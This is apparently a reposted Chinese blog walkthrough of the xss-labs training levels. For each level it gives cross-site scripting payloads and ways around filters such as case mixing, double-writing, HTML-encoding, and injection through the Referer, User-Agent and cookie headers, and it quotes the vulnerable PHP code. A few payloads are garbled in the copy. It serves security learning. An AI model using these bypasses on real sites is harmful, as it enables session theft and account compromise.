XSS-lab通過教程??
Level-1
payload:http://192.168.33.222:40577/level1.php?name=<script>alert(123)</script>
Level-2
- 我們隨便輸入
123,查看閉合方式

我們可以構造閉合input標簽,如何加入script陳述句
payload:"><script>alert(123)</script>
Level-3
- 首先我們用第二關的payload去嘗試,發現顯示是一樣的,但是沒有執行我們的js代碼

- 查看原始碼
<input name=keyword value='".htmlspecialchars($str)."'>
我們發現使用了htmlspecialchars方法,它的作用是將特殊字符轉換為html物體,那么什么是HTML物體呢?
說白了就是HTML為了防止特殊符號,例如:
| 特殊字符 | 轉化后 |
|---|---|
| & | & |
| " | " |
| < | < |
| > | > |
這時候我們的思路就盡量要繞開使用新標簽,那么瀏覽器還有一些事件可以執行js代碼,如onfocus,onblur等,下面簡單介紹一下關于滑鼠事件的一些能參考js代碼的函式:
| 屬性 | 描述 |
|---|---|
| onclick | 當用戶點擊某個物件時呼叫的事件句柄 |
| onmouseenter | 當滑鼠指標移動到元素上時觸發 |
| onmouseover | 滑鼠移到某元素之上 |
payload:' onclick ='javascript:alert(123)'//
注意:我們用的是點擊事件,所以我們輸入payload之后滑鼠還得點擊一下輸入框才能觸發代碼
level-4
首先我們發現前端頁面跟第2關一樣,沒什么區別,還是這樣的

原始碼分析
# 我們可以看到首先接收引數,然后將<>都替換成了空
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
所有說我們的payload里面不能有<>這兩個符號,<script>就不能用了,還是用第三關的payload,只不過閉合方式不一樣,這一關是"
payload:" onclick='javascript:alert(123)'//
level-5
首先還是測驗123看看閉合,發現跟第二關依然一樣,接下來我們看看原始碼吧
原始碼分析
# 獲取輸入的值,賦給$str變數
$str = strtolower($_GET["keyword"]);
# 將<script替換成<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
# 將 on 替換成 o_n
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
這一關我們可以看到帶有 <script> 和 on 標簽的都沒法用了,那么onclick自然用不了了,我們可以嘗試構造一個 a 標簽,具體payload如下:
"></input><a href='javascript:alert(123)'>ads</a>
level-6
首先還是測驗123看看閉合,發現跟第二關依然一樣,接下來我們看看原始碼吧
原始碼分析
# 替換了<script,on,src,data,href
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
雖說這一關過濾了上面這些字串,但是我們可以換大寫或者大小混寫就可以繞過了,還是用第五關的payload:
"></input><a Href='javascript:alert(123)'>ads</a>
level-7
首先還是測驗123看看閉合,發現跟第二關依然一樣,接下來我們看看原始碼吧
原始碼分析
# 將輸入的字符全部替換成小寫,然后將下面這些字串替換成空
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
所以這一關我們就沒法用大寫或者大小混寫繞過了,但是我們可以用雙寫繞過
payload:"><scriscriptpt>alert(123)</scriscriptpt>
level-8
首先還是測驗123看看閉合,發現跟第二關依然一樣,接下來我們看看原始碼吧
原始碼分析
# 將輸入的關鍵字替換成小寫,然后過濾下面的字串,最后進行html物體轉義
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
所以說這一關用不了 <script> 標簽了,我們輸入第二關的payload試試,然后查看網頁原始碼發現

發現上面value的標簽都被html物體化了,下面href里面的內容被替換了,那里就是我們輸入的內容,我們直接輸入javascript:alert(123)到a標簽的href屬性中就可以觸發xss,我們發現直接輸入的話script會被_下劃線隔開,所以我們進行html編碼輸入:
payload:
javascript:alert(1)
level-9
首先我們還是拿第二關的payload測驗一下,發現不一樣的,現在變成輸出指定的字串了

居然說輸入的不合法,那么我們輸入一個合法的看看是什么樣
payload:http://www.baidu.com

再加點東西動動手腳看看??
payload:javascript:alert(123)//http://www.baidu.com

發現還是不行,被替換了,編碼輸入在看看
payload:
javascript:alert(123)//http://www.baidu.com
level-10
原始碼分析
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
這個題跟前面的都不一樣,首先查看原始碼發現了三個隱藏的input標簽

那么我們根據他們的name構造傳值,改變他們的type屬性,看誰能顯示出來,誰就能被輸入,我們查看原始碼發現最后一位顯示出來了,
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//
payload:&t_sort=" type='text' onclick='javascript:alert(1)'>//
level-11
首先我們查看一下原始碼,發現又有四個標簽隱藏了

還是一樣的測驗一下那個標簽能夠被顯示出來,說明它能夠接收資料
payload:
t_link=" type='text'%3E//&t_history=" type='text'%3E//&t_sort=" type='text'%3E//&t_ref=" typr='text'%3E//
發現還是t_sort,只不過"和>被過濾了,再仔細看看,發現上面t_ref的值咋變了,查看原始碼發現原來這個題的觸發點在t_ref
原始碼分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
我們發現他是接收http頭部的REFERER欄位的值,然后經過過濾>和<之后插入了t_ref的值之中,所以我們抓包修改referer欄位的值觸發xss
payload:" type='text' onclick='javascript:alert(1)'>//
level-12
首先看看原始碼,發現又有四個隱藏標簽

然后還發現t_ua居然有值,沒猜錯的話這個題觸發點應該在uagent,我們看看原始碼
原始碼分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
好的,看了原始碼之后,發現這個題跟第11關的區別就是這個題的觸發點在Uagent,我們抓包傳入payload:
" type='text' onclick='javascript:alert(1)'>//
level-13
首先看看原始碼發現又有四個隱藏欄位

然后測驗一下看哪個能夠顯示出來說明能夠輸入,我們發現t_sort被過濾了,然后就沒有了

按這尿性,不用猜也知道這一關觸發點肯定在t_cook,我們看看原始碼
原始碼分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
果然觸發點在cookie的user欄位,不說了,直接抓包打payload
" type='text' onclick='javascript:alert(1)'>//
level-14
xswl,md一點頭緒沒有,上網一查題有問題,溜了溜了!??
level-15
不說了,先看一波原始碼

啥資訊沒看著,就看到個這個,上萬能的百度搜一下,還真搜到用法了,包含外部html檔案

話說包含外部檔案傳參點是啥,想不出來,再看一波原始碼原來是src
$str = $_GET["src"];
echo '<body><span ></span></body>';
說是包含外部html檔案,那我們拿第一關的網址試試

發現<和>被html物體化了,而且這一關沒有任何點擊的地方,所以我們只能用onerror方法,構造一個img標簽,payload:?src='http://xss/level1.php?name=<img src=asd one rror=alert(1)>'
level-16
原始碼分析
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
我們發現過濾了script,空格,/,所以我們嘗試加個a標簽,空格用回車編碼代替,點擊圖片過關
payload:<a%0D%0Aonclick='alert(1)'>
level 17
沃日,現在的瀏覽器版本太高了,估計這個<embed>標簽都不支持了吧,顯示不了,
后面17,18,19,20都是插件太老了,現在的瀏覽器都不支持了,

這是人家的17關,怎么跟我的不太一樣好家伙!??

有什么錯誤或者改進意見歡迎評論或發給我噢!大家一起共同學習!大佬多指教!!!!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/412923.html
標籤:其他
